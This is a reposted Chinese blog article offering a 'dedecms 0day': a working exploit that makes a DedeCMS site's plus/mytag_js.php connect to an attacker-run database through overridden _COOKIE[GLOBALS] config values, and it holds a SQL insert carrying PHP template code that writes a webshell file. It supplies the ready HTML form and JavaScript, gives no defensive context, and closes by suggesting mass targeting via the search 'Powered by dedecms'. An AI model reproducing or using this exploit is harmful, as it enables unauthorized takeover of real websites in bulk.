dedecms织梦最新0day
生活随笔
收集整理的這篇文章主要介紹了
dedecms织梦最新0day
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
拿webshell的方法如下: 網(wǎng)傳的都是說(shuō)要知道后臺(tái)才能利用,但不用,只要 plus 目錄存在,服務(wù)器能外連,就能拿shell. 前題條件,必須準(zhǔn)備好自己的dede數(shù)據(jù)庫(kù),然后插入數(shù)據(jù): insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}''); 再用下面表單提交,shell 就在同目錄下 1.php。原理自己研究。。。 <form action="" method="post" name="QuickSearch" id="QuickSearch" οnsubmit="addaction();"> <input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br /> <input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br /> <input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br /> <input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /> <input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br /> <input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br /> <input type="text" value="true" name="nocache" style="width:400"> <input type="submit" value="提交" name="QuickSearchBtn"><br /> </form> <script> function addaction() { document.QuickSearch.action=document.QuickSearch.doaction.value; } </script> 至于批量的方法自己去 谷歌搜索 "Powered by dedecms"
轉(zhuǎn)載于:https://www.cnblogs.com/mrjim/archive/2011/08/12/4475237.html
總結(jié)
以上是生活随笔為你收集整理的dedecms织梦最新0day的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: tcsh 基本命令
- 下一篇: markdown 自用笔记